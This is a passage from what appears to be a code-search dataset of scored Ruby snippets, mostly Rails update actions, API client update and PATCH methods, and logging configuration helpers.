args[:log_name] if args.key?(:log_name)\n @resource = args[:resource] if args.key?(:resource)\n @proto_payload = args[:proto_payload] if args.key?(:proto_payload)\n @text_payload = args[:text_payload] if args.key?(:text_payload)\n @json_payload = args[:json_payload] if args.key?(:json_payload)\n @timestamp = args[:timestamp] if args.key?(:timestamp)\n @severity = args[:severity] if args.key?(:severity)\n @insert_id = args[:insert_id] if args.key?(:insert_id)\n @http_request = args[:http_request] if args.key?(:http_request)\n @labels = args[:labels] if args.key?(:labels)\n @operation = args[:operation] if args.key?(:operation)\n end", "title": "" }, { "docid": "8cc5cde5ae2d992c5bf5ea19f33fea74", "score": "0.5699994", "text": "def update!(**args)\n @request_logging = args[:request_logging] if args.key?(:request_logging)\n end", "title": "" }, { "docid": "685bbe31e2c44c84074603c54496b08c", "score": "0.56990916", "text": "def update\n respond_to do |format|\n if @call.update(call_params)\n format.html { redirect_to @call, notice: 'Chamada alterada.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @call.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8d6a61f3186174209e44862cb0ae05d7", "score": "0.5693418", "text": "def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end", "title": "" }, { "docid": "6b3d6af3e1ade5f41124866b57a6b326", "score": "0.56645185", "text": "def patch(path, **args); end", "title": "" }, { "docid": "e52e720c951eb57493c65ad4a5701cdf", "score": "0.5640845", "text": "def update\n respond_to do |format|\n if @test_call.update(test_call_params)\n format.html { redirect_to @test_call, notice: 'Test call was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @test_call.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "60c9f38bf8c1264df70ec80a5a2b16cc", "score": "0.5627745", "text": "def update\n @log = Log.find(params[:id])\n\n if @log.update(log_params)\n head :no_content\n else\n render json: @log.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "59d89c7044292f68ed009e607a333b6c", "score": "0.55876136", "text": "def update\n respond_to do |format|\n if @roll_call.update(roll_call_params)\n format.html { redirect_to @roll_call, notice: 'Roll call was successfully updated.' }\n format.json { render :show, status: :ok, location: @roll_call }\n else\n format.html { render :edit }\n format.json { render json: @roll_call.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "59d89c7044292f68ed009e607a333b6c", "score": "0.55876136", "text": "def update\n respond_to do |format|\n if @roll_call.update(roll_call_params)\n format.html { redirect_to @roll_call, notice: 'Roll call was successfully updated.' }\n format.json { render :show, status: :ok, location: @roll_call }\n else\n format.html { render :edit }\n format.json { render json: @roll_call.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "61d9ecb9eb6d9b1a0fa2b8785b8098d6", "score": "0.55802715", "text": "def update\n @call = Call.find(params[:id])\n\n respond_to do |format|\n if @call.update_attributes(params[:call])\n format.html { redirect_to(@call, :notice => 'Call was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @call.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e18a7a476f499ae1cdd60edd27074929", "score": "0.55739695", "text": "def update\n @call = current_user.calls.find(params[:id])\n\n respond_to do |format|\n if @call.update_attributes(params[:call])\n format.html { redirect_to @call, :notice => 'Call was successfully updated.' }\n else\n format.html { render :action => \"edit\" }\n end\n end\n end", "title": "" }, { "docid": "208d6d3f8aed6a735541720c8466f167", "score": "0.55571795", "text": "def update\n @contact_log = ContactLog.find(params[:id])\n\n respond_to do |format|\n if @contact_log.update_attributes(params[:contact_log])\n format.html { redirect_to @contact_log, notice: 'Contact log was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contact_log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7961ba1d763ad0d47914ddcbcf089d8e", "score": "0.5549163", "text": "def patch(path, params)\n time(\"PATCH #{path}\") { Cloudflarer.new.patch(path, params) }\n end", "title": "" }, { "docid": "cd143943a806529b3a18db40c32e3709", "score": "0.5543387", "text": "def update\n respond_to do |format|\n if @calldetail.update(calldetail_params)\n format.html { redirect_to @calldetail, notice: 'Calldetail was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @calldetail.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "246be501227c5a93013731b0e61f3548", "score": "0.553394", "text": "def update\n respond_to do |format|\n if @activity_log.update(update_params)\n format.html { redirect_to @activity_log, notice: 'Activity log was successfully updated.' }\n format.json { render :show, status: :ok, location: @activity_log }\n else\n format.html { render :edit }\n format.json { render json: @activity_log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2b8e4e78f975e8717ad62245dcc47c2a", "score": "0.5532637", "text": "def update\n respond_to do |format|\n if @call_detail.update(call_detail_params)\n format.html { redirect_to @call_detail, notice: 'Call detail was successfully updated.' }\n format.json { render :show, status: :ok, location: @call_detail }\n else\n format.html { render :edit }\n format.json { render json: @call_detail.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7cbcb2cda6e100042f124dacd474f3be", "score": "0.5526225", "text": "def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "title": "" }, { "docid": "3b800e9ec08040d902e4a30125cfae93", "score": "0.5512684", "text": "def update\n @logstash = Logstash.find(params[:id])\n\n respond_to do |format|\n if @logstash.update_attributes(params[:logstash])\n format.html { redirect_to @logstash, notice: 'Logstash was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @logstash.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4c6059272baabee2212510e015eb7d8d", "score": "0.5497927", "text": "def test_put\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n contents = last_response.body\n contents_id = contents['_id']\n\n data = File.read 'sample-traces/1.json'\n put(\"/traces/#{contents_id}\", data, 'CONTENT_TYPE': 'application/json')\n contents = last_response.body\n\n assert_equal contents_id, contents['_id']\n end", "title": "" }, { "docid": "e7663d0348b74542ff1d2f4fd96156fe", "score": "0.54975665", "text": "def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end", "title": "" }, { "docid": "63f7af79fc170063fe31f54b55d65e7c", "score": "0.5448261", "text": "def update\n streak, success = jsonapi_update.to_a\n\n if success\n render_jsonapi(streak, scope: false)\n else\n render_errors_for(streak)\n end\n end", "title": "" }, { "docid": "7f02c9b2d6df9790ffc797fc89accf7c", "score": "0.5427838", "text": "def update_a_live_call_with_http_info(call_id, update_call_request, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.update_a_live_call ...'\n end\n\n # verify the required parameter 'call_id' is set\n if @api_client.config.client_side_validation && call_id.nil?\n fail ArgumentError, \"Missing the required parameter 'call_id' when calling DefaultApi.update_a_live_call\"\n end\n\n # verify the required parameter 'update_call_request' is set\n if @api_client.config.client_side_validation && update_call_request.nil?\n fail ArgumentError, \"Missing the required parameter 'update_call_request' when calling DefaultApi.update_a_live_call\"\n end\n # resource path\n local_var_path = '/Accounts/{accountId}/Calls/{callId}'.sub('{' + 'accountId' + '}', CGI.escape(account_id.to_s)).sub('{' + 'callId' + '}', CGI.escape(call_id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(update_call_request)\n\n # return_type\n return_type = opts[:debug_return_type]\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['fc']\n\n new_options = opts.merge(\n :operation => :\"DefaultApi.update_a_live_call\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#update_a_live_call\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "225dcf63931e2936c5a88f7589bfa2b1", "score": "0.54164666", "text": "def put_update\n response = self.class.put(\"/service/#{$service_id}/version/#{$service_version}/logging/sftp/#{$name}\", \n headers: { \"Fastly-Key\" => $key }, \n body: $put_form_data )\n end", "title": "" }, { "docid": "6672d347e91d86bf4ee9845eb3ac7aa7", "score": "0.5414177", "text": "def update!(**args)\n @audit_log_configs = args[:audit_log_configs] if args.key?(:audit_log_configs)\n @service = args[:service] if args.key?(:service)\n end", "title": "" }, { "docid": "6672d347e91d86bf4ee9845eb3ac7aa7", "score": "0.5414177", "text": "def update!(**args)\n @audit_log_configs = args[:audit_log_configs] if args.key?(:audit_log_configs)\n @service = args[:service] if args.key?(:service)\n end", "title": "" }, { "docid": "6672d347e91d86bf4ee9845eb3ac7aa7", "score": "0.5414177", "text": "def update!(**args)\n @audit_log_configs = args[:audit_log_configs] if args.key?(:audit_log_configs)\n @service = args[:service] if args.key?(:service)\n end", "title": "" }, { "docid": "6672d347e91d86bf4ee9845eb3ac7aa7", "score": "0.5414177", "text": "def update!(**args)\n @audit_log_configs = args[:audit_log_configs] if args.key?(:audit_log_configs)\n @service = args[:service] if args.key?(:service)\n end", "title": "" }, { "docid": "6672d347e91d86bf4ee9845eb3ac7aa7", "score": "0.5414177", "text": "def update!(**args)\n @audit_log_configs = args[:audit_log_configs] if args.key?(:audit_log_configs)\n @service = args[:service] if args.key?(:service)\n end", "title": "" }, { "docid": "6672d347e91d86bf4ee9845eb3ac7aa7", "score": "0.5414177", "text": "def update!(**args)\n @audit_log_configs = args[:audit_log_configs] if args.key?(:audit_log_configs)\n @service = args[:service] if args.key?(:service)\n end", "title": "" }, { "docid": "6672d347e91d86bf4ee9845eb3ac7aa7", "score": "0.5414177", "text": "def update!(**args)\n @audit_log_configs = args[:audit_log_configs] if args.key?(:audit_log_configs)\n @service = args[:service] if args.key?(:service)\n end", "title": "" }, { "docid": "6672d347e91d86bf4ee9845eb3ac7aa7", "score": "0.5414177", "text": "def update!(**args)\n @audit_log_configs = args[:audit_log_configs] if args.key?(:audit_log_configs)\n @service = args[:service] if args.key?(:service)\n end", "title": "" }, { "docid": "6672d347e91d86bf4ee9845eb3ac7aa7", "score": "0.5414177", "text": "def update!(**args)\n @audit_log_configs = args[:audit_log_configs] if args.key?(:audit_log_configs)\n @service = args[:service] if args.key?(:service)\n end", "title": "" }, { "docid": "6672d347e91d86bf4ee9845eb3ac7aa7", "score": "0.5414177", "text": "def update!(**args)\n @audit_log_configs = args[:audit_log_configs] if args.key?(:audit_log_configs)\n @service = args[:service] if args.key?(:service)\n end", "title": "" }, { "docid": "6672d347e91d86bf4ee9845eb3ac7aa7", "score": "0.5414177", "text": "def update!(**args)\n @audit_log_configs = args[:audit_log_configs] if args.key?(:audit_log_configs)\n @service = args[:service] if args.key?(:service)\n end", "title": "" }, { "docid": "6672d347e91d86bf4ee9845eb3ac7aa7", "score": "0.5414177", "text": "def update!(**args)\n @audit_log_configs = args[:audit_log_configs] if args.key?(:audit_log_configs)\n @service = args[:service] if args.key?(:service)\n end", "title": "" }, { "docid": "6672d347e91d86bf4ee9845eb3ac7aa7", "score": "0.5414177", "text": "def update!(**args)\n @audit_log_configs = args[:audit_log_configs] if args.key?(:audit_log_configs)\n @service = args[:service] if args.key?(:service)\n end", "title": "" }, { "docid": "6672d347e91d86bf4ee9845eb3ac7aa7", "score": "0.5414177", "text": "def update!(**args)\n @audit_log_configs = args[:audit_log_configs] if args.key?(:audit_log_configs)\n @service = args[:service] if args.key?(:service)\n end", "title": "" }, { "docid": "6672d347e91d86bf4ee9845eb3ac7aa7", "score": "0.5414177", "text": "def update!(**args)\n @audit_log_configs = args[:audit_log_configs] if args.key?(:audit_log_configs)\n @service = args[:service] if args.key?(:service)\n end", "title": "" }, { "docid": "6672d347e91d86bf4ee9845eb3ac7aa7", "score": "0.5414177", "text": "def update!(**args)\n @audit_log_configs = args[:audit_log_configs] if args.key?(:audit_log_configs)\n @service = args[:service] if args.key?(:service)\n end", "title": "" }, { "docid": "6672d347e91d86bf4ee9845eb3ac7aa7", "score": "0.5414177", "text": "def update!(**args)\n @audit_log_configs = args[:audit_log_configs] if args.key?(:audit_log_configs)\n @service = args[:service] if args.key?(:service)\n end", "title": "" }, { "docid": "6672d347e91d86bf4ee9845eb3ac7aa7", "score": "0.5414177", "text": "def update!(**args)\n @audit_log_configs = args[:audit_log_configs] if args.key?(:audit_log_configs)\n @service = args[:service] if args.key?(:service)\n end", "title": "" }, { "docid": "6672d347e91d86bf4ee9845eb3ac7aa7", "score": "0.5413655", "text": "def update!(**args)\n @audit_log_configs = args[:audit_log_configs] if args.key?(:audit_log_configs)\n @service = args[:service] if args.key?(:service)\n end", "title": "" }, { "docid": "127c8d31c1594136ed4d97d7f5489364", "score": "0.5413482", "text": "def update\n respond_to do |format|\n if @audit_log.update(audit_log_params)\n format.html { redirect_to @audit_log, notice: 'Audit log was successfully updated.' }\n format.json { render :show, status: :ok, location: @audit_log }\n else\n format.html { render :edit }\n format.json { render json: @audit_log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6215d1965231880d20c78286dce54646", "score": "0.5409446", "text": "def update\n respond_to do |format|\n if @change_log.update(change_log_params)\n format.html { redirect_to @change_log, notice: 'Change log was successfully updated.' }\n format.json { render :show, status: :ok, location: @change_log }\n else\n format.html { render :edit }\n format.json { render json: @change_log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "040c39c830e48d2f28b9090b537a2d18", "score": "0.5396486", "text": "def update\n # actions\n path = URI(@endpoint).path\n action = URI(@req.request_uri).path.sub(path, '').split('/')\n action -= ['']\n if action.include?('_history')\n @actions = [action[0], '_history']\n else\n @actions = [action[0]]\n end\n\n # search param\n req_query = URI(@req.request_uri).query\n unless req_query.nil?\n @req_params = URI::decode_www_form(req_query).to_h\n end\n\n # requst method\n if @req.request_method == \"GET\" and @actions.include? '_history'\n @req_method = 'vread'\n elsif @req.request_method == \"GET\" and @req_params != nil\n @req_method = 'search-type'\n elsif @req.request_method == \"PUT\"\n @req_method = 'update'\n elsif @req.request_method == \"POST\"\n @req_method = 'create'\n else\n @req_method = 'read'\n end\n\n # interaction\n int1 = Interaction.last type: @actions[0], code: @req_method\n if int1.nil?\n @present = 0\n else\n @present = int1.id\n @intCode = int1.valueCode\n end\n end", "title": "" }, { "docid": "38d99707e9843add4ca22b05248ec28b", "score": "0.5390675", "text": "def set_calllog\n @calllog = Calllog.find(params[:id])\n end", "title": "" }, { "docid": "950e16bb7a883ec0cf9dde49feed997c", "score": "0.53893137", "text": "def update\n respond_to do |format|\n if @input_log.update(input_log_params)\n format.html { redirect_to @input_log, notice: 'Input log was successfully updated.' }\n format.json { render :show, status: :ok, location: @input_log }\n else\n format.html { render :edit }\n format.json { render json: @input_log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dcb516bfa249012d05431156e3fad6a3", "score": "0.538714", "text": "def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end", "title": "" }, { "docid": "dcb516bfa249012d05431156e3fad6a3", "score": "0.538714", "text": "def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end", "title": "" }, { "docid": "dcb516bfa249012d05431156e3fad6a3", "score": "0.538714", "text": "def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end", "title": "" }, { "docid": "dcb516bfa249012d05431156e3fad6a3", "score": "0.538714", "text": "def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end", "title": "" }, { "docid": "d4ef989d8743bdf8c57e55d4d894dddc", "score": "0.53827906", "text": "def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end", "title": "" }, { "docid": "970e523a8396ba410703af484c76e163", "score": "0.53733325", "text": "def update\n respond_to do |format|\n if @change_log_entry.update(change_log_entry_params)\n format.html { redirect_to change_log_entries_path, notice: 'Activity log entry was successfully updated.' }\n format.json { render :show, status: :ok, location: @change_log_entry }\n else\n format.html { render :edit }\n format.json { render json: @change_log_entry.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a841bc737d89b666379a4525e9ca7c08", "score": "0.53676087", "text": "def update!(**args)\n @api_method_name = args[:api_method_name] if args.key?(:api_method_name)\n @counter = args[:counter] if args.key?(:counter)\n @create_time = args[:create_time] if args.key?(:create_time)\n @end_time = args[:end_time] if args.key?(:end_time)\n end", "title": "" }, { "docid": "92847d324c5ead9c37b48176354d0a21", "score": "0.5364339", "text": "def update\n @log = Log.find(params[:id])\n\n respond_to do |format|\n if @log.update_attributes(params[:log])\n format.html { redirect_to @log, notice: 'Log was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fb88fef9ffa0d872f40dcfb6a7c29bc5", "score": "0.5357211", "text": "def patch(path, opts = {})\n request(:patch, path, opts).body\n end", "title": "" }, { "docid": "a9426eae86ce4394294634c6aa364815", "score": "0.53558224", "text": "def s3LogJsonUpdate(kafka_log_dir)\n println \"kafka log dir : #{kafka_log_dir}\"\n logs_json_path = \"/etc/instance-controller/logs.json\"\n println \"Updating #{logs_json_path}\"\n json_obj=JSON.parse(File.read(\"#{logs_json_path}\"));\n sections = json_obj[\"logFileTypes\"]\n sections.each { |section|\n if section['typeName'] == 'SYSTEM_LOG' then\n user_log = section['logFilePatterns']\n user_log << {\n \"fileGlob\" => \"#{kafka_log_dir}/var/log/(.*)\",\n \"s3Path\" => \"node/$instance-id/apps/kafka/$0\",\n \"delayPush\" => \"true\"\n }\n break\n end\n }\n new_json=JSON.pretty_generate(json_obj)\n File.open('/tmp/logs.json','w') do |file_w|\n file_w.write(\"#{new_json}\")\n end\n sudo \"mv /tmp/logs.json #{logs_json_path}\"\nend", "title": "" }, { "docid": "5c384a3a14582f92443884be4697afd5", "score": "0.5350845", "text": "def update\n @call = Call.find(params[:id])\n @call.update_attributes(params[:call])\n respond_to do |format|\n format.html\n format.json { render :json => @call.to_json(:include => [ :user ]) }\n format.js\n end\n end", "title": "" }, { "docid": "909b760f54f181542cb95aee2413689b", "score": "0.53448045", "text": "def patch\n end", "title": "" }, { "docid": "0da2edb07512dd9741944e8fcd3030f0", "score": "0.53383964", "text": "def update\n @operation_history = OperationHistory.find(params[:id])\n\n respond_to do |format|\n if @operation_history.update_attributes(params[:operation_history])\n format.html { redirect_to @operation_history, notice: 'Operation history was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @operation_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ef2c7d9a65ea1d4baa57a940646ea0db", "score": "0.53199935", "text": "def update\n respond_to do |format|\n if @call_to_action.update(call_to_action_params)\n format.html { redirect_to user_path(current_user), notice: 'Call to action was successfully updated.' }\n format.json { render :show, status: :ok, location: @call_to_action }\n else\n format.html { render :edit }\n format.json { render json: @call_to_action.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bf394a61368b5b0307935d3adafa15f6", "score": "0.5315919", "text": "def rest_patch(base_uri,json_payload,params)\n begin\n @response = RestClient.patch(base_uri,json_payload,params)\n rescue => e\n puts @response.code\n end\n return @response\n end", "title": "" }, { "docid": "709648f4bd359373ab80ae739e9a5c10", "score": "0.531397", "text": "def update\n respond_to do |format|\n if @log.update(log_params)\n format.html { redirect_to task_path(@log.task), notice: 'Log was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d2d9263d5e50b73c459ebca79405e2b7", "score": "0.5308815", "text": "def patch(request)\n request.method = :patch\n request.call\n end", "title": "" }, { "docid": "ba1b67b26375fdda775726f54fe1beb9", "score": "0.5299193", "text": "def update\n @ticketold = Ticket.find(@ticket.id)\n respond_to do |format|\n if @ticket.update(ticket_params)\n Account::Tickets::TicketLogs.update(@ticket, @ticketold)\n format.html { redirect_to account_tickets_path, notice: 'Ticket was successfully updated.' }\n format.json { render :show, status: :ok, location: @ticket }\n else\n format.html { render :edit }\n format.json { render json: @ticket.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cbdc1c3b71d6f8a8f0a7d7a95e90141c", "score": "0.5298328", "text": "def update\n @log_entry = LogEntry.find(params[:id])\n\n respond_to do |format|\n if @log_entry.update_attributes(params[:log_entry])\n format.html { redirect_to @log_entry, :notice => 'Log entry was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @log_entry.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "75ab92c8620be0a4137251556f5e5ff0", "score": "0.5282201", "text": "def update\n respond_to do |format|\n if @data_log.update(data_log_params)\n format.html { redirect_to @data_log, notice: 'Data log was successfully updated.' }\n format.json { render :show, status: :ok, location: @data_log }\n else\n format.html { render :edit }\n format.json { render json: @data_log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "855f81d29ee8ff100cfefb3479cedcdd", "score": "0.5280889", "text": "def update(url, data)\n RestClient.put url, data, :content_type => :json\nend", "title": "" }, { "docid": "f41997bea036ac7e5413c91c54ca5e8d", "score": "0.5278728", "text": "def recording_status_update_one_with_http_info(meeting_id, recording_id, body, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CloudRecordingApi.recording_status_update_one ...'\n end\n # verify the required parameter 'meeting_id' is set\n if @api_client.config.client_side_validation && meeting_id.nil?\n fail ArgumentError, \"Missing the required parameter 'meeting_id' when calling CloudRecordingApi.recording_status_update_one\"\n end\n # verify the required parameter 'recording_id' is set\n if @api_client.config.client_side_validation && recording_id.nil?\n fail ArgumentError, \"Missing the required parameter 'recording_id' when calling CloudRecordingApi.recording_status_update_one\"\n end\n # verify the required parameter 'body' is set\n if @api_client.config.client_side_validation && body.nil?\n fail ArgumentError, \"Missing the required parameter 'body' when calling CloudRecordingApi.recording_status_update_one\"\n end\n # resource path\n local_var_path = '/meetings/{meetingId}/recordings/{recordingId}/status'.sub('{' + 'meetingId' + '}', meeting_id.to_s).sub('{' + 'recordingId' + '}', recording_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'application/xml'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json', 'multipart/form-data'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(body)\n auth_names = ['OAuth']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CloudRecordingApi#recording_status_update_one\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "d46c7869013d3100b0344461a44764e6", "score": "0.5276302", "text": "def UpdateView params = {}\n \n APICall(path: 'views.json',method: 'PUT',payload: params.to_json)\n \n end", "title": "" }, { "docid": "0fc99a7ebffb6e1c20c22d873d60fcf9", "score": "0.5274302", "text": "def update\n respond_to do |format|\n if @calllist.update(calllist_params)\n format.html { redirect_to @calllist, notice: 'Calllist was successfully updated.' }\n format.json { render :show, status: :ok, location: @calllist }\n else\n format.html { render :edit }\n format.json { render json: @calllist.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0fc99a7ebffb6e1c20c22d873d60fcf9", "score": "0.5274302", "text": "def update\n respond_to do |format|\n if @calllist.update(calllist_params)\n format.html { redirect_to @calllist, notice: 'Calllist was successfully updated.' }\n format.json { render :show, status: :ok, location: @calllist }\n else\n format.html { render :edit }\n format.json { render json: @calllist.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "966dbf3b425a85ae4845b848807d91cb", "score": "0.5273984", "text": "def update\n if @backlog_item.item_type == \"sprint\"\n if params.has_key?(\"start_date\") && params.has_key?(\"end_date\")\n @backlog_item.update(info: {start_date: params[:start], end_date: params[:end]}.to_json)\n end\n\n if params[:backlog_item][:status] == 'failed'\n @stories = BacklogItem.where(\n \"item_type = 'story' AND (NOT status = 'product') AND parent_id = ?\",\n params[:id]\n )\n\n @stories.each do |story|\n story.update(status: \"product\", parent_id: @backlog_item[:parent_id])\n end\n end\n else\n if @backlog_item.item_type == \"task\" && params[:status] == \"done\"\n @tasks = BacklogItem.where(\n \"item_type = 'task' AND (Not status = 'done') AND parent_id = ? AND id !=?\",\n params[:parent_id], params[:id]\n )\n if(@tasks.size == 0)\n @story = BacklogItem.where(\n \"id = ?\", params[:parent_id]\n ).take\n time = Time.now.strftime(\"%Y/%m/%d %H:%M:%S\")\n @story.update(info: {end_date: time}.to_json)\n end\n end\n end\n\n respond_to do |format|\n if @backlog_item.update(backlog_item_all_params)\n format.html { redirect_to @backlog_item, notice: 'Backlog item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @backlog_item.errors, status: :unprocessable_entity }\n end\n end\n\n if @backlog_item.item_type == \"story\"\n if params[:backlog_item][:status] == 'done'\n time = Time.now.strftime(\"%Y/%m/%d %H:%M:%S\");\n @backlog_item.update(info: {end_date: time}.to_json)\n end\n end\n end", "title": "" }, { "docid": "02bda8a6551c5c07eb02ec40f6ad1233", "score": "0.5269366", "text": "def update\n @interaction_log = InteractionLog.find(params[:id])\n\n respond_to do |format|\n if @interaction_log.update_attributes(params[:interaction_log])\n format.html { redirect_to @interaction_log, notice: 'Interaction log was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @interaction_log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a8a847edc1f2dceef33861eebe08bd8e", "score": "0.526532", "text": "def update\n @event_log_entry = EventLogEntry.find(params[:id])\n\n respond_to do |format|\n if @event_log_entry.update_attributes(params[:event_log_entry])\n format.html { redirect_to @event_log_entry, notice: 'Event log entry was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event_log_entry.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c14d150fffadad858f44f395661920f1", "score": "0.5260509", "text": "def patch(payload)\n post_like payload, Net::HTTP::Patch.new(@uri.path)\n end", "title": "" }, { "docid": "66538a8d1eb99dc36ccb5f2160709f7a", "score": "0.5252386", "text": "def update\n respond_to do |format|\n if @log_file.update(log_file_params)\n format.html { redirect_to @log_file, notice: 'Log file was successfully updated.' }\n format.json { render :show, status: :ok, location: @log_file }\n else\n format.html { render :edit }\n format.json { render json: @log_file.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "732b51305e964421ee94899096f90afa", "score": "0.52466005", "text": "def update\n @b_log = BLog.find(params[:id])\n\n respond_to do |format|\n if @b_log.update_attributes(params[:b_log])\n format.html { redirect_to @b_log, notice: 'B log was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @b_log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "df63fc1ba0612091b389879b7aab4da3", "score": "0.52423036", "text": "def update\n respond_to do |format|\n if @backlog.update(backlog_params)\n format.html { redirect_to project_backlogs_path(@backlog.project.id), notice: 'Backlog atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @backlog.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e27a5fe265ae67f6ab86d2ec9125f61e", "score": "0.5242245", "text": "def update\n=begin\n @notification_log = NotificationLog.find(params[:id])\n\n respond_to do |format|\n if @notification_log.update_attributes(params[:notification_log])\n format.html { redirect_to @notification_log, notice: 'Notification log was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @notification_log.errors, status: :unprocessable_entity }\n end\n end\n=end\n end", "title": "" }, { "docid": "701eeb702be94ce1426c37426e6f43ac", "score": "0.5238315", "text": "def update\n respond_to do |format|\n if @log.update(log_params)\n format.html { redirect_to @log, notice: 'Log was successfully updated.' }\n format.json { render action: 'show', status: :ok, location: @log }\n else\n format.html { render action: 'edit' }\n format.json { render json: @log.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ae062a4177dc777d4b45cc03c984ecfc", "score": "0.5234709", "text": "def update\n respond_to do |format|\n if @call_service.update(call_service_params)\n format.html { redirect_to @call_service, notice: 'Call service was successfully updated.' }\n format.json { render :show, status: :ok, location: @call_service }\n else\n format.html { render :edit }\n format.json { render json: @call_service.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
a12dc83e923e3af41a12aacde35d07cc
Apply all settings to the active simulation.
